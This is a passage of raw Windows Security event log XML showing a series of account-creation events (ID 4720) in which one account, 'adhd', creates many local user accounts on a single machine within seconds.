Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.9795382Z'/><EventRecordID>4657</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Hannah</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1102</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Hannah</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Hannah - adhd - - - 4720 - 4651 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.9061146Z'/><EventRecordID>4651</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Justin</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1101</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Justin</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Justin - adhd - - - 4720 - 4645 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.8097001Z'/><EventRecordID>4645</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Brenda</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1100</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Brenda</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Brenda - adhd - - - 4720 - 4639 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.6280143Z'/><EventRecordID>4639</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Diane</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1099</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Diane</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Diane - adhd - - - 4720 - 4633 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.5335369Z'/><EventRecordID>4633</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Billy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1098</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Billy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Billy - adhd - - - 4720 - 4627 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.4555723Z'/><EventRecordID>4627</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Megan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1097</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Megan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Megan - adhd - - - 4720 - 4621 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.3736443Z'/><EventRecordID>4621</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Zachary</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1096</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Zachary</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Zachary - adhd - - - 4720 - 4615 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.2667964Z'/><EventRecordID>4615</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Diana</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1095</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Diana</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Diana - adhd - - - 4720 - 4609 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.1850043Z'/><EventRecordID>4609</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Carl</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1094</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Carl</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Carl - adhd - - - 4720 - 4603 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.9577187Z'/><EventRecordID>4603</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Olivia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1093</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Olivia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Olivia - adhd - - - 4720 - 4597 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.8801883Z'/><EventRecordID>4597</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Michelle</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1092</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Michelle</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Michelle - adhd - - - 4720 - 4591 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.6548606Z'/><EventRecordID>4591</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Danielle</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1091</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Danielle</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Danielle - adhd - - - 4720 - 4585 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.5628735Z'/><EventRecordID>4585</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Frank</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1090</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Frank</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Frank - adhd - - - 4720 - 4579 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.4208073Z'/><EventRecordID>4579</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Mark</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1089</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Mark</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Mark - adhd - - - 4720 - 4573 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.3428157Z'/><EventRecordID>4573</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gloria</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1088</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gloria</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gloria - adhd - - - 4720 - 4567 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.2579084Z'/><EventRecordID>4567</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joe</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1087</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data 